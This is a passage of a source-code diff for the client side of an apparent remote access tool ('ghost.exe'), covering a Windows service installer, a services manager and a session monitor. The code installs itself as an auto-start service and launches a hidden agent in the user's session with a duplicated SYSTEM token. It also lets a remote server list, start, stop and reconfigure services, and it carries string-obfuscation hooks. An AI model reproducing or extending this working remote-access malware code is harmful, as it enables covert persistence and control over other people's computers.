SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPath,
NULL, NULL, NULL, NULL, NULL
);
if (schService != NULL) {
break; // 成功
}
DWORD err = GetLastError();
if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
Sleep(2000);
continue;
}
break; // 其他错误,退出
}
if (schService == NULL) {
err = GetLastError();
if (err == ERROR_SERVICE_EXISTS) {
Mprintf("INFO: Service already exists\n");
// 打开已存在的服务
schService = OpenService(schSCManager, g_MyService.Name, SERVICE_ALL_ACCESS);
if (schService) {
Mprintf("SUCCESS: Service is already installed\n");
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied. Please run as Administrator\n");
} else {
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
}
CloseServiceHandle(schSCManager);
return FALSE;
}
Mprintf("SUCCESS: Service created successfully\n");
// 设置服务描述
sd.lpDescription = (LPSTR)g_MyService.Description;
if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) {
Mprintf("SUCCESS: Service description set\n");
}
// 立即启动服务
Mprintf("Starting service...\n");
if (StartService(schService, 0, NULL)) {
Mprintf("SUCCESS: Service started successfully\n");
// 等待服务启动
Sleep(2000);
// 检查服务状态
if (QueryServiceStatus(schService, &status)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
Mprintf("SUCCESS: Service is running\n");
} else {
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
}
}
} else {
err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
Mprintf("INFO: Service is already running\n");
} else {
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
Mprintf("You can start it manually using: net start %s\n", g_MyService.Name);
}
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
Mprintf("=== Installation Complete ===\n");
Mprintf("Service installed successfully!\n");
Mprintf("IMPORTANT: This is a single-executable design.\n");
Mprintf("The service will launch '%s -agent' in user sessions.\n", szPath);
Mprintf("Commands:\n");
Mprintf(" To verify: sc query %s\n", g_MyService.Name);
Mprintf(" To start: net start %s\n", g_MyService.Name);
Mprintf(" To stop: net stop %s\n", g_MyService.Name);
return TRUE;
}
BOOL ServiceWrapper_Uninstall(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS status;
int waitCount;
DWORD err;
schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
Mprintf("Please run as Administrator\n");
return FALSE;
}
schService = OpenService(
schSCManager,
g_MyService.Name,
SERVICE_STOP | DELETE
);
if (schService == NULL) {
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
Mprintf("Service may not be installed\n");
CloseServiceHandle(schSCManager);
return FALSE;
}
Mprintf("Stopping service...\n");
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
Mprintf("Waiting for service to stop");
Sleep(1000);
waitCount = 0;
while (QueryServiceStatus(schService, &status) && waitCount < 30) {
if (status.dwCurrentState == SERVICE_STOP_PENDING) {
Mprintf(".");
Sleep(1000);
waitCount++;
} else {
break;
}
}
if (status.dwCurrentState == SERVICE_STOPPED) {
Mprintf("SUCCESS: Service stopped\n");
} else {
Mprintf("WARNING: Service may not have stopped completely\n");
}
} else {
err = GetLastError();
if (err == ERROR_SERVICE_NOT_ACTIVE) {
Mprintf("INFO: Service was not running\n");
} else {
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
}
}
BOOL result = TRUE;
Mprintf("Deleting service...\n");
if (DeleteService(schService)) {
Mprintf("SUCCESS: Service uninstalled successfully\n");
} else {
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
result = FALSE;
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
Mprintf("=== Uninstallation Complete ===\n");
return result;
}
void PrintUsage()
{
Mprintf("Usage:\n");
Mprintf(" -install Install as Windows service\n");
Mprintf(" -uninstall Uninstall service\n");
Mprintf(" -service Run as service\n");
Mprintf(" -agent Run as agent\n");
Mprintf(" default Run as normal application\n");
}
BOOL RunAsWindowsService(int argc, const char* argv[])
{
if (argc == 1) { // 无参数时,作为服务启动
BOOL registered = FALSE;
BOOL running = FALSE;
char servicePath[MAX_PATH] = { 0 };
char curPath[MAX_PATH] = { 0 };
BOOL b = ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
registered ? "Yes" : "No", running ? "Yes" : "No");
GetModuleFileName(NULL, curPath, MAX_PATH);
if (registered) {
Mprintf("Current executable path: %s, Registered service path: %s\n", curPath, servicePath);
}
// 使用不区分大小写的比较
_strlwr(servicePath);
_strlwr(curPath);
BOOL same = (strstr(servicePath, curPath) != 0);
if (registered && !same) {
BOOL r = ServiceWrapper_Uninstall();
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
registered = FALSE;
}
if (!registered) {
BOOL r = ServiceWrapper_Install();
Mprintf("RunAsWindowsService Install %s: %s\n", r ? "succeed" : "failed", curPath);
return r;
} else if (!running) {
int r = ServiceWrapper_Run();
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
r = ServiceWrapper_StartSimple();
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
return r == ERROR_SUCCESS;
}
return TRUE;
}
return TRUE;
} else if (argc > 1) {
if (_stricmp(argv[1], "-install") == 0) {
return ServiceWrapper_Install();
} else if (_stricmp(argv[1], "-uninstall") == 0) {
ServiceWrapper_Uninstall();
return TRUE;
} else if (_stricmp(argv[1], "-service") == 0) {
return ServiceWrapper_Run() == ERROR_SUCCESS;
} else if (_stricmp(argv[1], "-agent") == 0) {
return FALSE;
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
PrintUsage();
return TRUE;
}
}
return FALSE;
}

81
client/ServiceWrapper.h Normal file
View File

@@ -0,0 +1,81 @@
#ifndef SERVICE_WRAPPER_H
#define SERVICE_WRAPPER_H
#include <windows.h>
typedef struct MyService {
char Name[256];
char Display[256];
char Description[512];
} MyService;
inline MyService NewService(const char* name, const char* display, const char* description)
{
MyService s;
strcpy(s.Name, name);
strcpy(s.Display, display);
strcpy(s.Description, description);
return s;
}
typedef void (*ServiceLogFunc)(const char* message);
#ifdef __cplusplus
extern "C" {
#endif
/*
# 停止服务
net stop RemoteControlService
# 查看状态(应该显示 STOPPED
sc query RemoteControlService
# 启动服务
net start RemoteControlService
# 再次查看状态(应该显示 RUNNING
sc query RemoteControlService
*/
// 自定义服务信息
void InitWindowsService(MyService info, ServiceLogFunc log);
// 以Windows服务模式运行程序
BOOL RunAsWindowsService(int argc, const char* argv[]);
// 检查服务状态
// 参数:
// registered - 输出参数,服务是否已注册
// running - 输出参数,服务是否正在运行
// exePath - 输出参数服务可执行文件路径可为NULL
// exePathSize - exePath缓冲区大小
// 返回: 成功返回TRUE
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize);
// 简单启动服务
// 返回: ERROR_SUCCESS 或错误码
int ServiceWrapper_StartSimple(void);
// 运行服务(作为服务主入口)
// 返回: ERROR_SUCCESS 或错误码
int ServiceWrapper_Run(void);
// 停止服务 0- 成功,其他值-错误码
int ServiceWrapper_Stop(void);
// 安装服务
BOOL ServiceWrapper_Install(void);
// 卸载服务
BOOL ServiceWrapper_Uninstall(void);
// 服务工作线程
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam);
#ifdef __cplusplus
}
#endif
#endif /* SERVICE_WRAPPER_H */

308
client/ServicesManager.cpp Normal file
View File

@@ -0,0 +1,308 @@
// ServicesManager.cpp: implementation of the CServicesManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ServicesManager.h"
#include "Common.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendServicesList();
}
CServicesManager::~CServicesManager()
{
}
VOID CServicesManager::SendServicesList()
{
LPBYTE szBuffer = GetServicesList();
if (szBuffer == NULL) {
char buf[128];
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
Mprintf("%s\n", buf);
ClientMsg msg("服务管理", buf);
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
return;
}
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
}
#ifndef skCrypt
#define skCrypt(p) p
#endif
LPBYTE CServicesManager::GetServicesList()
{
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
LPBYTE szBuffer = NULL;
char szRunWay[256] = {0};
char szAutoRun[256] = {0};
DWORD dwLength = 0;
DWORD dwOffset = 0;
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
return NULL;
}
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
if (ServicesStatus==NULL) {
CloseServiceHandle(m_hscManager);
return NULL;
}
DWORD dwNeedsBytes = 0;
DWORD dwServicesCount = 0;
DWORD dwResumeHandle = 0;
EnumServicesStatus(m_hscManager,
SERVICE_WIN32, //CTL_FIX
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)ServicesStatus,
64 * 1024,
&dwNeedsBytes,
&dwServicesCount,
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0;
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
SERVICE_ALL_ACCESS);
if (hServices==NULL) {
continue;
}
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
if (ServicesInfor == NULL)
continue;
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
//查询服务的启动类别
ZeroMemory(szRunWay, sizeof(szRunWay));
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
case SERVICE_STOPPED: {
lstrcatA(szRunWay, skCrypt("Stopped"));
break;
}
case SERVICE_START_PENDING: {
lstrcatA(szRunWay, skCrypt("Start-Pending"));
break;
}
case SERVICE_STOP_PENDING: {
lstrcatA(szRunWay, skCrypt("Stop-Pending"));
break;
}
case SERVICE_RUNNING: {
lstrcatA(szRunWay, skCrypt("Running"));
break;
}
case SERVICE_CONTINUE_PENDING: {
lstrcatA(szRunWay, skCrypt("Continue-Pending"));
break;
}
case SERVICE_PAUSE_PENDING: {
lstrcatA(szRunWay, skCrypt("Pause-Pending"));
break;
}
case SERVICE_PAUSED: {
lstrcatA(szRunWay, skCrypt("Paused"));
break;
}
default: {
lstrcatA(szRunWay, skCrypt("Unknown"));
break;
}
}
ZeroMemory(szAutoRun, sizeof(szAutoRun));
switch (ServicesInfor->dwStartType) {
case SERVICE_BOOT_START: {
lstrcatA(szAutoRun, skCrypt("Boot-Start"));
break;
}
case SERVICE_SYSTEM_START: {
lstrcatA(szAutoRun, skCrypt("System-Start"));
break;
}
case SERVICE_AUTO_START: {
lstrcatA(szAutoRun, skCrypt("Auto-Start"));
break;
}
case SERVICE_DEMAND_START: {
lstrcatA(szAutoRun, skCrypt("Demand-Start"));
break;
}
case SERVICE_DISABLED: {
lstrcatA(szAutoRun, skCrypt("Disabled"));
break;
}
default: {
lstrcatA(szAutoRun, skCrypt("Unknown"));
break;
}
}
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
// 缓冲区太小,再重新分配下
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
if (szBuffer == NULL)
continue;
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//真实名称
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//显示名称
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//路径
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//运行状态
dwOffset += lstrlen(szRunWay) + 1;
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//自启动状态
dwOffset += lstrlen(szAutoRun) + 1;
CloseServiceHandle(hServices);
LocalFree(ServicesInfor); //Config
}
CloseServiceHandle(m_hscManager);
LocalFree(ServicesStatus);
return szBuffer;
}
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_SERVICELIST:
SendServicesList();
break;
case COMMAND_SERVICECONFIG: //其他操作
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
break;
default:
break;
}
}
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
{
BYTE bCommand = szBuffer[0];
char *szServiceName = (char *)(szBuffer+1);
switch(bCommand) {
case 1: { //start
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
if (NULL != hSCManager) {
SC_HANDLE hService = OpenService(hSCManager,
szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService ) {
StartService(hService, NULL, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 2: { //stop
SC_HANDLE hSCManager =
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
if ( NULL != hSCManager) {
SC_HANDLE hService = OpenService(hSCManager,
szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService ) {
SERVICE_STATUS Status;
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 3: { //auto
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if ( NULL != hSCManager ) {
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
SERVICE_ALL_ACCESS);
if ( NULL != hService ) {
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
BOOL bOk = ChangeServiceConfig(
hService,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
Sleep(500);
SendServicesList();
}
break;
case 4: { // DEMAND_START
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager ) {
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
if ( NULL != hService ) {
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
BOOL bOK = ChangeServiceConfig(
hService,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock);
CloseServiceHandle(hService );
}
CloseServiceHandle( hSCManager);
}
Sleep(500);
SendServicesList();
}
default:
break;
}
}

26
client/ServicesManager.h Normal file
View File

@@ -0,0 +1,26 @@
// ServicesManager.h: interface for the CServicesManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CServicesManager : public CManager
{
public:
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID SendServicesList();
LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
};
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)

539
client/SessionMonitor.c Normal file
View File

@@ -0,0 +1,539 @@
#include "SessionMonitor.h"
#include <stdio.h>
#include <tlhelp32.h>
#include <userenv.h>
#pragma comment(lib, "userenv.lib")
// 动态数组初始容量
#define INITIAL_CAPACITY 4
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
extern void MyLog(const char* file, int line, const char* format, ...);
// 前向声明
static DWORD WINAPI MonitorThreadProc(LPVOID param);
static void MonitorLoop(SessionMonitor* self);
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId);
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId);
static void TerminateAllAgents(SessionMonitor* self);
static void CleanupDeadProcesses(SessionMonitor* self);
// 动态数组辅助函数
static void AgentArray_Init(AgentProcessArray* arr);
static void AgentArray_Free(AgentProcessArray* arr);
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info);
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index);
// ============================================
// 动态数组实现
// ============================================
static void AgentArray_Init(AgentProcessArray* arr)
{
arr->items = NULL;
arr->count = 0;
arr->capacity = 0;
}
static void AgentArray_Free(AgentProcessArray* arr)
{
if (arr->items) {
free(arr->items);
arr->items = NULL;
}
arr->count = 0;
arr->capacity = 0;
}
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info)
{
size_t newCapacity;
AgentProcessInfo* newItems;
// 需要扩容
if (arr->count >= arr->capacity) {
newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
newItems = (AgentProcessInfo*)realloc(
arr->items, newCapacity * sizeof(AgentProcessInfo));
if (!newItems) {
return FALSE;
}
arr->items = newItems;
arr->capacity = newCapacity;
}
arr->items[arr->count] = *info;
arr->count++;
return TRUE;
}
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
{
size_t i;
if (index >= arr->count) {
return;
}
// 将后面的元素前移
for (i = index; i < arr->count - 1; i++) {
arr->items[i] = arr->items[i + 1];
}
arr->count--;
}
// ============================================
// 公开接口实现
// ============================================
void SessionMonitor_Init(SessionMonitor* self)
{
self->monitorThread = NULL;
self->running = FALSE;
InitializeCriticalSection(&self->csProcessList);
AgentArray_Init(&self->agentProcesses);
}
void SessionMonitor_Cleanup(SessionMonitor* self)
{
SessionMonitor_Stop(self);
DeleteCriticalSection(&self->csProcessList);
AgentArray_Free(&self->agentProcesses);
}
BOOL SessionMonitor_Start(SessionMonitor* self)
{
if (self->running) {
Mprintf("Monitor already running");
return TRUE;
}
Mprintf("========================================");
Mprintf("Starting session monitor...");
self->running = TRUE;
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
if (!self->monitorThread) {
Mprintf("ERROR: Failed to create monitor thread");
self->running = FALSE;
return FALSE;
}
Mprintf("Session monitor thread created");
return TRUE;
}
void SessionMonitor_Stop(SessionMonitor* self)
{
if (!self->running) {
return;
}
Mprintf("Stopping session monitor...");
self->running = FALSE;
if (self->monitorThread) {
WaitForSingleObject(self->monitorThread, 10000);
SAFE_CLOSE_HANDLE(self->monitorThread);
self->monitorThread = NULL;
}
// 终止所有代理进程
Mprintf("Terminating all agent processes...");
TerminateAllAgents(self);
Mprintf("Session monitor stopped");
Mprintf("========================================");
}
// ============================================
// 内部函数实现
// ============================================
static DWORD WINAPI MonitorThreadProc(LPVOID param)
{
SessionMonitor* monitor = (SessionMonitor*)param;
MonitorLoop(monitor);
return 0;
}
static void MonitorLoop(SessionMonitor* self)
{
int loopCount = 0;
PWTS_SESSION_INFO pSessionInfo = NULL;
DWORD dwCount = 0;
DWORD i;
BOOL foundActiveSession;
DWORD sessionId;
char buf[256];
int j;
Mprintf("Monitor loop started");
while (self->running) {
loopCount++;
// 清理已终止的进程
CleanupDeadProcesses(self);
// 枚举所有会话
pSessionInfo = NULL;
dwCount = 0;
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
&pSessionInfo, &dwCount)) {
foundActiveSession = FALSE;
for (i = 0; i < dwCount; i++) {
if (pSessionInfo[i].State == WTSActive) {
sessionId = pSessionInfo[i].SessionId;
foundActiveSession = TRUE;
// 记录活动会话每5次循环记录一次避免日志过多
if (loopCount % 5 == 1) {
sprintf(buf, "Active session found: ID=%d, Name=%s",
(int)sessionId,
pSessionInfo[i].pWinStationName);
Mprintf(buf);
}
// 检查代理是否在该会话中运行
if (!IsAgentRunningInSession(self, sessionId)) {
sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
Mprintf(buf);
if (LaunchAgentInSession(self, sessionId)) {
Mprintf("Agent launched successfully");
// 给进程一些时间启动
Sleep(2000);
} else {
Mprintf("Failed to launch agent");
}
}
// 只处理第一个活动会话
break;
}
}
if (!foundActiveSession && loopCount % 5 == 1) {
Mprintf("No active sessions found");
}
WTSFreeMemory(pSessionInfo);
} else {
if (loopCount % 5 == 1) {
Mprintf("WTSEnumerateSessions failed");
}
}
// 每10秒检查一次
for (j = 0; j < 100 && self->running; j++) {
Sleep(100);
}
}
Mprintf("Monitor loop exited");
}
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
{
char currentExeName[MAX_PATH];
char* pFileName;
DWORD currentPID;
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
BOOL found = FALSE;
DWORD procSessionId;
(void)self; // 未使用
// 获取当前进程的 exe 名称
if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) {
return FALSE;
}
// 获取文件名(不含路径)
pFileName = strrchr(currentExeName, '\\');
if (pFileName) {
pFileName++;
} else {
pFileName = currentExeName;
}
// 获取当前服务进程的 PID
currentPID = GetCurrentProcessId();
// 创建进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
Mprintf("CreateToolhelp32Snapshot failed");
return FALSE;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
// 查找同名的 exeghost.exe
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
// 排除服务进程自己
if (pe32.th32ProcessID == currentPID) {
continue;
}
// 获取进程的会话ID
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
if (procSessionId == sessionId) {
// 找到了:同名 exe不同 PID在目标会话中
found = TRUE;
break;
}
}
}
} while (Process32Next(hSnapshot, &pe32));
}
SAFE_CLOSE_HANDLE(hSnapshot);
return found;
}
// 终止所有代理进程
static void TerminateAllAgents(SessionMonitor* self)
{
char buf[256];
size_t i;
AgentProcessInfo* info;
DWORD exitCode;
EnterCriticalSection(&self->csProcessList);
sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count);
Mprintf(buf);
for (i = 0; i < self->agentProcesses.count; i++) {
info = &self->agentProcesses.items[i];
sprintf(buf, "Terminating agent PID=%d (Session %d)",
(int)info->processId, (int)info->sessionId);
Mprintf(buf);
// 检查进程是否还在运行
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode == STILL_ACTIVE) {
// 进程还在运行,终止
if (!TerminateProcess(info->hProcess, 0)) {
sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
Mprintf(buf);
} else {
Mprintf("Agent terminated successfully");
// 等待进程完全退出
WaitForSingleObject(info->hProcess, 5000);
}
} else {
sprintf(buf, "Agent PID=%d already exited with code %d",
(int)info->processId, (int)exitCode);
Mprintf(buf);
}
}
SAFE_CLOSE_HANDLE(info->hProcess);
}
self->agentProcesses.count = 0; // 清空数组
LeaveCriticalSection(&self->csProcessList);
Mprintf("All agents terminated");
}
// 清理已经终止的进程
static void CleanupDeadProcesses(SessionMonitor* self)
{
size_t i;
AgentProcessInfo* info;
DWORD exitCode;
char buf[256];
EnterCriticalSection(&self->csProcessList);
i = 0;
while (i < self->agentProcesses.count) {
info = &self->agentProcesses.items[i];
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
// 进程已退出
sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode);
Mprintf(buf);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
}
} else {
// 无法获取退出代码,可能进程已不存在
sprintf(buf, "Cannot query agent PID=%d, removing from list",
(int)info->processId);
Mprintf(buf);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue;
}
i++;
}
LeaveCriticalSection(&self->csProcessList);
}
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
{
char buf[512];
HANDLE hToken = NULL;
HANDLE hDupToken = NULL;
HANDLE hUserToken = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpEnvironment = NULL;
char exePath[MAX_PATH];
char cmdLine[MAX_PATH + 20];
DWORD fileAttr;
BOOL result;
AgentProcessInfo info;
DWORD err;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId);
Mprintf(buf);
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
// 获取当前服务进程的 SYSTEM 令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
Mprintf(buf);
return FALSE;
}
// 复制为可用于创建进程的主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 修改令牌的会话 ID 为目标用户会话
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
Mprintf("Token duplicated");
// 获取当前进程路径(启动自己)
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
Mprintf("GetModuleFileName failed");
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
sprintf(buf, "Service path: %s", exePath);
Mprintf(buf);
// 检查文件是否存在
fileAttr = GetFileAttributes(exePath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf(buf, "ERROR: Executable not found at: %s", exePath);
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 构建命令行:同一个 exe 但带上 -agent 参数
sprintf(cmdLine, "\"%s\" -agent", exePath);
sprintf(buf, "Command line: %s", cmdLine);
Mprintf(buf);
// 获取用户令牌用于环境变量
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
Mprintf(buf);
}
// 使用用户令牌创建环境块
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed");
}
SAFE_CLOSE_HANDLE(hUserToken);
}
// 在用户会话中创建进程
result = CreateProcessAsUser(
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数ghost.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志
lpEnvironment, // 环境变量
NULL, // 当前目录
&si,
&pi
);
if (lpEnvironment) {
DestroyEnvironmentBlock(lpEnvironment);
}
if (result) {
sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
Mprintf(buf);
// 保存进程信息,以便停止时可以终止它
EnterCriticalSection(&self->csProcessList);
info.processId = pi.dwProcessId;
info.sessionId = sessionId;
info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止
AgentArray_Add(&self->agentProcesses, &info);
LeaveCriticalSection(&self->csProcessList);
